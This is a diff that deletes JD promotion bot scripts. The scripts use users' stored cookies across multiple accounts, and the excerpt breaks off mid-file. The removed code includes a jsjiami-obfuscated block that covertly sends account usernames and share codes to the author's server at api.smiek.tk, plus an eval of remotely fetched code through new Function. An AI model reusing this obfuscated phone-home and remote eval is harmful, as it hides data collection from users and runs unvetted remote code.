"user/GetAwardList") opId = 103 - if(type == "story/QueryMailBox") opId = 105 - if(type == "story/MailBoxOper") opId = 107 - if(type == "story/UserMedal") opId = 109 - if(type == "story/QueryMedalList") opId = 111 - if(type == "story/GetTakeAggrPage") opId = 113 - if(type == "story/GetTaskRedDot") opId = 115 - if(type == "story/RewardSign") opId = 117 - if(type == "story/helpdraw") opId = 119 - if(type == "story/helpbystage") opId = 121 - if(type == "story/AddSuggest") opId = 133 - return opId -} - -async function requestAlgo() { - $.fp = (getRandomIDPro({ size: 13 }) + Date.now()).slice(0, 16); - const options = { - "url": `https://cactus.jd.com/request_algo?g_ty=ajax`, - headers: { - 'Authority': 'cactus.jd.com', - 'Pragma': 'no-cache', - 'Cache-Control': 'no-cache', - 'Accept': 'application/json', - 'Content-Type': 'application/json', - 'Origin': 'https://st.jingxi.com', - 'Sec-Fetch-Site': 'cross-site', - 'User-Agent': UA, - 'Sec-Fetch-Mode': 'cors', - 'Sec-Fetch-Dest': 'empty', - 'Referer': 'https://st.jingxi.com/', - 'Accept-Language': 'zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7' - }, - 'body': JSON.stringify({ - "version": "1.0", - "fp": $.fp, - "appId": $.appId, - "timestamp": Date.now(), - "platform": "web", - "expandParams": "" - }) - } - return new Promise(async resolve => { - $.post(options, (err, resp, data) => { - try { - const { ret, msg, data: { result } = {} } = JSON.parse(data); - $.token = result.tk; - $.genKey = new Function(`return ${result.algo}`)(); - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) -} - -function getRandomIDPro() { - var e, - t, - a = void 0 === (n = (t = 0 < arguments.length && void 0 !== arguments[0] ? arguments[0] : {}).size) ? 10 : n, - n = void 0 === (n = t.dictType) ? 'number' : n, - i = ''; - if ((t = t.customDict) && 'string' == typeof t) e = t; - else - switch (n) { - case 'alphabet': - e = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'; - break; - case 'max': - e = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_-'; - break; - case 'number': - default: - e = '0123456789'; - } - - for (; a--;) i += e[(Math.random() * e.length) | 0]; - return i; -} -function decrypt(time, stk, type, url) { - stk = stk || (url ? getUrlQueryParams(url, '_stk') : '') - if (stk) { - const timestamp = format("yyyyMMddhhmmssSSS", time); - const hash1 = $.genKey($.token, $.fp.toString(), timestamp.toString(), $.appId.toString(), $.CryptoJS).toString($.CryptoJS.enc.Hex); - let st = ''; - stk.split(',').map((item, index) => { - st += `${item}:${getUrlQueryParams(url, item)}${index === stk.split(',').length - 1 ? '' : '&'}`; - }) - const hash2 = $.CryptoJS.HmacSHA256(st, hash1.toString()).toString($.CryptoJS.enc.Hex); - return encodeURIComponent(["".concat(timestamp.toString()), "".concat($.fp.toString()), "".concat($.appId.toString()), "".concat($.token), "".concat(hash2)].join(";")) - } else { - return encodeURIComponent('20210713151140309;3329030085477162;10032;tk01we5431d52a8nbmxySnZya05SXBQSsarucS7aqQIUX98n+iAZjIzQFpu6+ZjRvOMzOaVvqHvQz9pOhDETNW7JmftM;3e219f9d420850cadd117e456d422e4ecd8ebfc34397273a5378a0edc70872b9') - } -} - -function format(a, time) { - if (!a) a = 'yyyy-MM-dd'; - var t; - if (!time) { - t = Date.now(); - } else { - t = new Date(time); - } - var e, - n = new Date(t), - d = a, - l = { - 'M+': n.getMonth() + 1, - 'd+': n.getDate(), - 'D+': n.getDate(), - 'h+': n.getHours(), - 'H+': n.getHours(), - 'm+': n.getMinutes(), - 's+': n.getSeconds(), - 'w+': n.getDay(), - 'q+': Math.floor((n.getMonth() + 3) / 3), - 'S+': n.getMilliseconds(), - }; - /(y+)/i.test(d) && (d = d.replace(RegExp.$1, ''.concat(n.getFullYear()).substr(4 - RegExp.$1.length))); - Object.keys(l).forEach(e => { - if (new RegExp('('.concat(e, ')')).test(d)) { - var t, - a = 'S+' === e ? '000' : '00'; - d = d.replace(RegExp.$1, 1 == RegExp.$1.length ? l[e] : ''.concat(a).concat(l[e]).substr(''.concat(l[e]).length)); - } - }); - return d; -} - -function getUrlQueryParams(url_string, param) { - let reg = new RegExp("(^|&)" + param + "=([^&]*)(&|$)", "i"); - let r = url_string.split('?')[1].substr(0).match(reg); - if (r != null) { - return decodeURIComponent(r[2]); - }; - return ''; -} - - - -function getAuthorShareCode(url) { - return new Promise(async resolve => { - const options = { - "url": `${url}?${new Date()}`, - "timeout": 10000, - "headers": { - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" - } - }; - if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { - const tunnel = require("tunnel"); - const agent = { - https: tunnel.httpsOverHttp({ - proxy: { - host: process.env.TG_PROXY_HOST, - port: process.env.TG_PROXY_PORT * 1 - } - }) - } - Object.assign(options, { agent }) - } - let res = [] - $.get(options, async (err, resp, data) => { - try { - if (err) { - } else { - if (data) res = JSON.parse(data) - } - } catch (e) { - // $.logErr(e, resp) - } finally { - resolve(res || []); - } - }) - await $.wait(10000) - resolve(res); - }) -} - -/** - * 随机从一数组里面取 - * @param arr - * @param count - * @returns {Buffer} - */ - function getRandomArrayElements(arr, count) { - var shuffled = arr.slice(0), i = arr.length, min = i - count, temp, index; - while (i-- > min) { - index = Math.floor((i + 1) * Math.random()); - temp = shuffled[index]; - shuffled[index] = shuffled[i]; - shuffled[i] = temp; - } - return shuffled.slice(min); -} - - -// 计算时间 -function timeFn(dateBegin) { - var hours = 0 - var minutes = 0 - var seconds = 0 - if(dateBegin != 0){ - //如果时间格式是正确的,那下面这一步转化时间格式就可以不用了 - var dateEnd = new Date();//获取当前时间 - var dateDiff = dateBegin - dateEnd.getTime();//时间差的毫秒数 - var leave1 = dateDiff % (24 * 3600 * 1000) //计算天数后剩余的毫秒数 - hours = Math.floor(leave1 / (3600 * 1000))//计算出小时数 - //计算相差分钟数 - var leave2 = leave1 % (3600 * 1000) //计算小时数后剩余的毫秒数 - minutes = Math.floor(leave2 / (60 * 1000))//计算相差分钟数 - //计算相差秒数 - var leave3 = leave2 % (60 * 1000) //计算分钟数后剩余的毫秒数 - seconds = Math.round(leave3 / 1000) - } - hours = hours < 10 ? '0'+ hours : hours - minutes = minutes < 10 ? '0'+ minutes : minutes - seconds = seconds < 10 ? '0'+ seconds : seconds - var timeFn = hours + ":" + minutes + ":" + seconds; - return timeFn; -} - -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} - - - -function getCode(){ - if(!$.getval('gua_wealth_island_code') || ($.getval('gua_wealth_island_code') && !$.getval('gua_wealth_island_code')[$.time('yyyyMMd')])){ - $.gua_wealth_island_code = {} - $.gua_wealth_island_code[$.time('yyyyMMd')] = [] - $.setdata($.gua_wealth_island_code,'gua_wealth_island_code') - }else{ - $.gua_wealth_island_code = $.getval('gua_wealth_island_code') - } - if(!codeIndex){ - for(let n in cookiesArr){ - codeIndexArr.push(Number(n)+1) - } - console.log(`您设置为按顺序提交助力(只提交前3个)\n如需自定义请在环境变量[gua_wealth_island_codeId](只提交前3个)例:\ngua_wealth_island_codeId="3,5,8"`) - }else{ - console.log(`您设置为按自定义提交助力(只提交前3个)\n提交的账号为[${codeIndex.split(',')}]\n按号码从小到大提交\n注意:不是按填写的顺序`) - for(let i of codeIndex.split(',')){ - codeIndexArr.push(Number(i)) - } - } - console.log(`\n先账号互助完再助力助力池\n默认其余的助力给助力池\n如果介意请不要使用本脚本`) -} - -var _0xodM='jsjiami.com.v6',_0x58b7=[_0xodM,'Z2V0','bkZFblQ=','c3RhdHVz','T1pJTVg=','cFFTUEM=','cHVzaA==','c2V0ZGF0YQ==','cGhoalU=','5p+l6K+i5Yiw5oKo5LiK5Lyg55qE5LqS5Yqp56CBWw==','dGRob3E=','aHR0cHM6Ly9hcGkuc21pZWsudGsvdXBkYXRlX2lzbGFuZA==','YXBwbGljYXRpb24vanNvbg==','c3RyaW5n','dW5kZWZpbmVk','eXl5eU1NZA==','5oKo5LuK5aSp5bey57uP5o+Q5Lqk6L+H5LqS5Yqp56CB','cG9CSGk=','VXNlck5hbWU=','VVJ4RFk=','YXN0b1M=','YVNpWFc=','cGJvWFo=','Z3VhX3dlYWx0aF9pc2xhbmRfY29kZQ==','dGltZQ==','ZHhEYmo=','aW5jbHVkZXM=','bG9n','TWxVRWM=','aHNRbEk=','bGVuZ3Ro','5LiK5Lyg5Yqp5Yqb56CB','SGVBVm4=','Y0ZVRHo=','aW1JTmU=','QlJGV1E=','eyJzcyI6Ijk5NWU2OTgwYjViZGU3Y2FjZWY3ZWNiMzJkNjUxMWViZTEiLCJhIjoi','IiwicyI6Ig==','cG9zdA==','R3VVa0w=','ZW1wdHk=','aHR0cHM6Ly9hcGkuc21pZWsudGsvaW5mb19pc2xhbmQ/cGluPQ==','aVZJUlM=','S0l5RUo=','RGtDcFk=','U2JYam0=','cFFUVVo=','Z0NyWkE=','d2FpdA==','TFZVeHA=','bW9KUlc=','kjgHbzsjwiakxOmiR.YcoImKwp.v6=='];(function(_0x21fdb5,_0x3f83ae,_0x49784f){var _0x58490e=function(_0xfef6a2,_0x43679f,_0x5d94d3,_0x12f482,_0x3816cd){_0x43679f=_0x43679f>>0x8,_0x3816cd='po';var _0x5bc9eb='shift',_0x38c213='push';if(_0x43679f<_0xfef6a2){while(--_0xfef6a2){_0x12f482=_0x21fdb5[_0x5bc9eb]();if(_0x43679f===_0xfef6a2){_0x43679f=_0x12f482;_0x5d94d3=_0x21fdb5[_0x3816cd+'p']();}else if(_0x43679f&&_0x5d94d3['replace'](/[kgHbzwkxORYIKwp=]/g,'')===_0x43679f){_0x21fdb5[_0x38c213](_0x12f482);}}_0x21fdb5[_0x38c213](_0x21fdb5[_0x5bc9eb]());}return 0x9caf6;};return _0x58490e(++_0x3f83ae,_0x49784f)>>_0x3f83ae^_0x49784f;}(_0x58b7,0x104,0x10400));var _0x3732=function(_0x3a72a6,_0x194239){_0x3a72a6=~~'0x'['concat'](_0x3a72a6);var _0x57f585=_0x58b7[_0x3a72a6];if(_0x3732['bbRoua']===undefined){(function(){var _0x5d696f;try{var _0x5da908=Function('return\x20(function()\x20'+'{}.constructor(\x22return\x20this\x22)(\x20)'+');');_0x5d696f=_0x5da908();}catch(_0x29a112){_0x5d696f=window;}var _0x70b0e9='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x5d696f['atob']||(_0x5d696f['atob']=function(_0x45923b){var _0x3426d3=String(_0x45923b)['replace'](/=+$/,'');for(var _0x458769=0x0,_0x40ce1d,_0x19a6b2,_0x56e26d=0x0,_0x2081e8='';_0x19a6b2=_0x3426d3['charAt'](_0x56e26d++);~_0x19a6b2&&(_0x40ce1d=_0x458769%0x4?_0x40ce1d*0x40+_0x19a6b2:_0x19a6b2,_0x458769++%0x4)?_0x2081e8+=String['fromCharCode'](0xff&_0x40ce1d>>(-0x2*_0x458769&0x6)):0x0){_0x19a6b2=_0x70b0e9['indexOf'](_0x19a6b2);}return _0x2081e8;});}());_0x3732['WfTevF']=function(_0x402c76){var _0x513ed6=atob(_0x402c76);var _0x57ecae=[];for(var _0xf74fa1=0x0,_0x531b6a=_0x513ed6['length'];_0xf74fa1<_0x531b6a;_0xf74fa1++){_0x57ecae+='%'+('00'+_0x513ed6['charCodeAt'](_0xf74fa1)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x57ecae);};_0x3732['xiXrFk']={};_0x3732['bbRoua']=!![];}var _0x160a7d=_0x3732['xiXrFk'][_0x3a72a6];if(_0x160a7d===undefined){_0x57f585=_0x3732['WfTevF'](_0x57f585);_0x3732['xiXrFk'][_0x3a72a6]=_0x57f585;}else{_0x57f585=_0x160a7d;}return _0x57f585;};function updateIsland(_0x3eeb63){var _0x1759cd={'HeAVn':function(_0x10a019){return _0x10a019();},'cFUDz':function(_0x2f6ea6,_0x8c7962){return _0x2f6ea6(_0x8c7962);},'imINe':_0x3732('0'),'BRFWQ':_0x3732('1'),'poBHi':function(_0x1cfebb,_0x51a304){return _0x1cfebb!==_0x51a304;},'URxDY':_0x3732('2'),'astoS':function(_0x186278,_0x1f4591){return _0x186278==_0x1f4591;},'aSiXW':_0x3732('3'),'pboXZ':function(_0x4c9ca9,_0x130243){return _0x4c9ca9==_0x130243;},'dxDbj':_0x3732('4'),'MlUEc':_0x3732('5'),'hsQlI':function(_0x1c726d,_0x522592){return _0x1c726d>=_0x522592;}};if(_0x1759cd[_0x3732('6')](typeof $[_0x3732('7')],_0x1759cd[_0x3732('8')])||_0x1759cd[_0x3732('9')]($[_0x3732('7')],_0x1759cd[_0x3732('a')])||_0x1759cd[_0x3732('6')](typeof _0x3eeb63,_0x1759cd[_0x3732('8')])||_0x1759cd[_0x3732('b')](_0x3eeb63,_0x1759cd[_0x3732('a')])||!$[_0x3732('c')])return;if($[_0x3732('c')][$[_0x3732('d')](_0x1759cd[_0x3732('e')])][_0x3732('f')]($[_0x3732('7')]))console[_0x3732('10')](_0x1759cd[_0x3732('11')]);if(_0x1759cd[_0x3732('12')]($[_0x3732('c')][$[_0x3732('d')](_0x1759cd[_0x3732('e')])][_0x3732('13')],0x1)||$[_0x3732('c')][$[_0x3732('d')](_0x1759cd[_0x3732('e')])][_0x3732('f')]($[_0x3732('7')]))return;console[_0x3732('10')](_0x3732('14'));return new Promise(_0x3df05c=>{var _0x2a700f={'GuUkL':function(_0x262351){return _0x1759cd[_0x3732('15')](_0x262351);}};const _0x24a09f={'url':''+_0x1759cd[_0x3732('16')](decodeURI,_0x1759cd[_0x3732('17')]),'timeout':0x4e20,'headers':{'Content-Type':_0x1759cd[_0x3732('18')]},'body':_0x3732('19')+$[_0x3732('7')]+_0x3732('1a')+_0x3eeb63+'\x22}'};$[_0x3732('1b')](_0x24a09f,async(_0x3c5478,_0x12980d,_0x34b3b7)=>{_0x2a700f[_0x3732('1c')](_0x3df05c);});});}async function infoIsland(){var _0x3ac02c={'nFEnT':function(_0x26583a,_0x50a4bd){return _0x26583a==_0x50a4bd;},'OZIMX':function(_0x19c2b9,_0x275fab){return _0x19c2b9!=_0x275fab;},'pQSPC':_0x3732('1d'),'gCrZA':_0x3732('4'),'phhjU':_0x3732('c'),'tdhoq':function(_0x47389a){return _0x47389a();},'LVUxp':function(_0x58063a,_0x292c77){return _0x58063a(_0x292c77);},'moJRW':_0x3732('1e'),'iVIRS':function(_0x53a34b,_0x111bb6){return _0x53a34b!==_0x111bb6;},'KIyEJ':_0x3732('2'),'DkCpY':function(_0xb2423d,_0x50e8cd){return _0xb2423d==_0x50e8cd;},'SbXjm':_0x3732('3'),'pQTUZ':function(_0xfeb67b,_0x1be8b8){return _0xfeb67b>=_0x1be8b8;}};if(_0x3ac02c[_0x3732('1f')](typeof $[_0x3732('7')],_0x3ac02c[_0x3732('20')])||_0x3ac02c[_0x3732('21')]($[_0x3732('7')],_0x3ac02c[_0x3732('22')])||!$[_0x3732('c')])return;if(_0x3ac02c[_0x3732('23')]($[_0x3732('c')][$[_0x3732('d')](_0x3ac02c[_0x3732('24')])][_0x3732('13')],0x1)||$[_0x3732('c')][$[_0x3732('d')](_0x3ac02c[_0x3732('24')])][_0x3732('f')]($[_0x3732('7')]))return;await $[_0x3732('25')](0x7d0);return new Promise(_0x4ec138=>{const _0x245fca={'url':''+_0x3ac02c[_0x3732('26')](decodeURI,_0x3ac02c[_0x3732('27')])+$[_0x3732('7')],'timeout':0x2710};$[_0x3732('28')](_0x245fca,async(_0x1adb82,_0xfc5f35,_0x3d24d0)=>{if(_0xfc5f35&&_0x3ac02c[_0x3732('29')](_0xfc5f35[_0x3732('2a')],0xc8)){if(_0x3d24d0&&_0x3ac02c[_0x3732('2b')](_0x3d24d0,_0x3ac02c[_0x3732('2c')])){$[_0x3732('c')][$[_0x3732('d')](_0x3ac02c[_0x3732('24')])][_0x3732('2d')]($[_0x3732('7')]);$[_0x3732('2e')]($[_0x3732('c')],_0x3ac02c[_0x3732('2f')]);console[_0x3732('10')](_0x3732('30')+_0x3d24d0+']');}}_0x3ac02c[_0x3732('31')](_0x4ec138);});});};_0xodM='jsjiami.com.v6'; - - -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`\ud83d\udd14${this.name}, \u5f00\u59cb!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}isShadowrocket(){return"undefined"!=typeof $rocket}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),a={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(a,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){const s=t.method?t.method.toLocaleLowerCase():"post";if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient[s](t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method=s,this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:i,...r}=t;this.got[s](i,r).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}put(t,e=(()=>{})){const s=t.method?t.method.toLocaleLowerCase():"put";if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient[s](t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method=s,this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:i,...r}=t;this.got[s](i,r).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============\ud83d\udce3\u7cfb\u7edf\u901a\u77e5\ud83d\udce3=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t.stack):this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`\ud83d\udd14${this.name}, \u7ed3\u675f! \ud83d\udd5b ${s} \u79d2`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} - diff --git a/backUp/gua_xiaolong.js b/backUp/gua_xiaolong.js deleted file mode 100644 index a5e067a..0000000 --- a/backUp/gua_xiaolong.js +++ /dev/null @@ -1,736 +0,0 @@ -/* -8.13-8.25 骁龙品牌日 [gua_xiaolong.js] - -邀请一人有机会获得20豆 (有可能没有豆 - 上限可能是 18 -做任务有机会获得京豆(有可能是空气💨 -每次最多抽10次奖(抽太多次 后面基本都是空气💨 可以每天抽前1 20次 - -第一个账号助力作者 其他依次助力CK1 -第一个CK失效会退出脚本 - -脚本默认抽奖 true抽奖,false不抽奖 -不抽奖请设置环境变量 -gua_xiaolong_luckydraw="false" -———————————————— -入口:[8.13-8.25 骁龙品牌日 (https://lzdz4-isv.isvjcloud.com/dingzhi/xiaolong/collectcard/activity/1441690?activityId=901080701&shareUuid=9535c849daec4eb0b006dc1ff8ab3b5c)] -============Quantumultx=============== -[task_local] -#8.13-8.25 骁龙品牌日 -18 9,19 13-25 8 * https://raw.githubusercontent.com/smiek2221/scripts/master/gua_xiaolong.js, tag=8.13-8.25 骁龙品牌日, enabled=true - -================Loon============== -[Script] -cron "18 9,19 13-25 8 *" script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_xiaolong.js,tag=8.13-8.25 骁龙品牌日 - -===============Surge================= -8.13-8.25 骁龙品牌日 = type=cron,cronexp="18 9,19 13-25 8 *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_xiaolong.js - -============小火箭========= -8.13-8.25 骁龙品牌日 = type=cron,script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_xiaolong.js, cronexpr="18 9,19 13-25 8 *", timeout=3600, enable=true -*/ -const $ = new Env('8.13-8.25 骁龙品牌日'); -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -const notify = $.isNode() ? require('./sendNotify') : ''; -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], - cookie = ''; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -let luckydrawStatus = true -luckydrawStatus = $.isNode() ? (process.env.gua_xiaolong_luckydraw ? process.env.gua_xiaolong_luckydraw : `${luckydrawStatus}`) : ($.getdata('gua_xiaolong_luckydraw') ? $.getdata('gua_xiaolong_luckydraw') : `${luckydrawStatus}`); -const JD_API_HOST = `https://api.m.jd.com/client.action`; -message = "" -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { - "open-url": "https://bean.m.jd.com/" - }); - return; - } - $.shareUuid = '9535c849daec4eb0b006dc1ff8ab3b5c' - $.activityId = '901080701' - console.log(`入口:\nhttps://lzdz4-isv.isvjcloud.com/dingzhi/xiaolong/collectcard/activity/1441690?activityId=${$.activityId}&shareUuid=${$.shareUuid}`) - for (let i = 0; i < cookiesArr.length; i++) { - cookie = cookiesArr[i]; - if (cookie) { - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - getUA() - $.nickName = ''; - console.log(`\n\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - await run(); - if(i == 0 && 